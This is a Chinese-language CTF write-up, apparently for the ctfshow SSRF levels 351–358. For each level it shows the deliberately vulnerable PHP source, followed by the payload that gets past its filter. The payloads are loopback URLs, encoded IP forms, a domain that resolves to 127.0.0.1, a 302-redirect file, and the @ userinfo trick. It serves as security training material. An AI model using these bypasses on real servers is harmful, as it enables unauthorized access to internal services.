做题前,需要先学习关于ssrf漏洞的相关知识
小注意:
当使用 file_get_contents()
函数访问远程 URL 时,它会尝试获取该 URL 指向的资源的内容,并将内容以字符串的形式返回。
如果 b.php
文件是一个 PHP 文件,它包含的内容取决于该 PHP 文件本身的内容。例如,如果 b.php
文件包含一些 HTML 和 PHP 代码,那么 file_get_contents()
将返回这些代码的内容。如果 b.php
文件是一个纯文本文件,那么 file_get_contents()
将返回该文本文件的内容。
需要注意的是,如果 b.php
文件包含了 PHP 代码,并且该代码生成了输出(例如使用了 echo
或 print
函数),那么 file_get_contents()
返回的内容将是该 PHP 文件执行后生成的输出。如果 b.php
文件只包含 PHP 代码,没有输出,则 file_get_contents()
返回的内容将是空字符串。
SSRF原理(详细)
351.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
这个代码,就是我们能访问的服务器的源代码,它没有任何绕过,没有任何过滤,我们需要的flag存在于flag.php文件中,但是这个文件是我们可以访问的服务器通过中转的方式,才能获取的,也就是说只有这个服务器可以访问,如果我们直接访问就会出现
明白了,我们将所需要访问的url改为本地访问即可,因为代码在别人的服务器上运行,我们只需要用回环地址,找到flag.php文件即可,post传参进去即可,
url=http://127.0.0.1/flag.php
352.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这个添加了过滤,让我们的伪协议只能是http/https协议,可以杜绝使用file协议等使用了白名单,
后面,他又使用正则表达式,可能是想要过滤localhost和127.0.0,但是他缺少了一个重要的参数,也就是后面需要检查的字符串变量,导致无论如何都可以检查过关,所以忽略不看,通过两个条件,我们可以发现上一个题的payload依旧可以在这一个题上使用,所以做法一样
353.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这个代码依然是希望我们使用http/https协议,这里完全匹配了127.0.0.1,同时。也被过滤掉了,这要求我们通过其他方式过滤,这里我们使用进制进行过滤
127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.
354.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这个我们直接看正则表达式,过滤localhost/0/1/。没办法,只能考虑其他办法了,这时有一个DNS解析的方法来了,众所周知,由于ip地址太过难记,所以人们搞出了域名,以十分好记的名称一对一的储存在DNS解析器中,例如人们知道百度的域名baidu.com,但是不记得他的网站ip地址,
对于这个题呢,127.0.0.1这个环回ip的域名除了localhost以外,http(s)/sudo.cc/这个域名的解析是指向127.0.0.1的
其它可以参考这篇文章
一些公共 http 域名,但是解析到 127.0.0.1
亲测有效!!
355.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这个的要求就是主机名不能超过5个字符,这里又来一个姿势点,
有关于ip地址的转换,这一篇博客就够了
ip地址进制转化
简单来讲就是,当以4小节储存的ip地址中间两节全为0时,可以酌情省略,其他情况想将ip地址转化为4小节以下的节数时,需要将4节的二进制数均分为2节,或者只要一节,同时进行进制转化,
所以按照规则,127.0.0.1可以写成
ping 127.0.0.1
ping 127.0.1
ping 127.1
:ping 0x7f.1
:十六进制ping 2130706433
:十进制
而对于本题来讲,可以直接127.1即可
356.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这个题进一步压缩长度在3个字符以下,emmm,看来还需要一点新知识......
了解得知,经过省略的ip地址 0 在linux系统中会解析为127.0.0.1,在windows系统中则是0.0.0.0
而对于我们这道题来讲,这种题通常挂在服务器上搭建linux系统,可以用0,试一试,当然,我这里只是试一试,并不是确定了它的操作系统就是linux哈,
我这一试,出来了.66666
好吧,是看别的师傅做的,我也是菜鸟啊,可以原谅
357.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme
这个代码主要的判断是FILTER_FLAG_NO_PRIV_RANGE
和 FILTER_FLAG_NO_RES_RANGE
FILTER_FLAG_NO_PRIV_RANGE
和 FILTER_FLAG_NO_RES_RANGE
是标志,用于指示不接受私有地址和保留地址。
FILTER_FLAG_NO_PRIV_RANGE
和 FILTER_FLAG_NO_RES_RANGE
是 PHP 过滤器中的标志(flags),用于过滤 IP 地址。
-
FILTER_FLAG_NO_PRIV_RANGE
:当用于FILTER_VALIDATE_IP
过滤器时,这个标志会阻止私有地址范围(Private Address Range)的 IP 地址通过验证。私有地址范围包括以下 IP 地址段:- 10.0.0.0 到 10.255.255.255
- 172.16.0.0 到 172.31.255.255
- 192.168.0.0 到 192.168.255.255
- FC00::/7 (IPv6)
-
FILTER_FLAG_NO_RES_RANGE
:当用于FILTER_VALIDATE_IP
过滤器时,这个标志会阻止保留地址范围(Reserved Address Range)的 IP 地址通过验证。保留地址范围包括以下 IP 地址段:- 0.0.0.0 到 0.255.255.255
- 169.254.0.0 到 169.254.255.255
- 127.0.0.0 到 127.255.255.255
- 224.0.0.0 到 255.255.255.255
- ::1 (IPv6)
- FF00::/8 (IPv6)
这里需要公网ip所以我们需要有自己的服务器来搞定这个事情,创建一个文件
<?php
header("Location:http://127.0.0.1/flag.php",TRUE,302);
访问即可.这个题有这样一个知识点
302重定向是HTTP状态代码之一,表示临时性的重定向。当服务器收到客户端的请求后,如果需要将请求的资源临时重定向到另一个URL,但未来可能会恢复到原始URL时,就会返回302状态码。这意味着客户端应该继续使用原始URL进行后续请求,因为重定向是暂时的。302重定向常用于网站维护、临时性更改或者流量控制等场景。
也就是说,可以通过重定向的逻辑,将我们需要访问的url放在重定向后,用第一个url去绕过我们当前服务器的逻辑,
358.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
这个题的判断规则就是,匹配以http://ctf开头,show结尾的字符串,这个就是用@符号规则来访问他的flag文件,对于这个来讲只需要
http://ctf@127.0.0.1/flag.php即可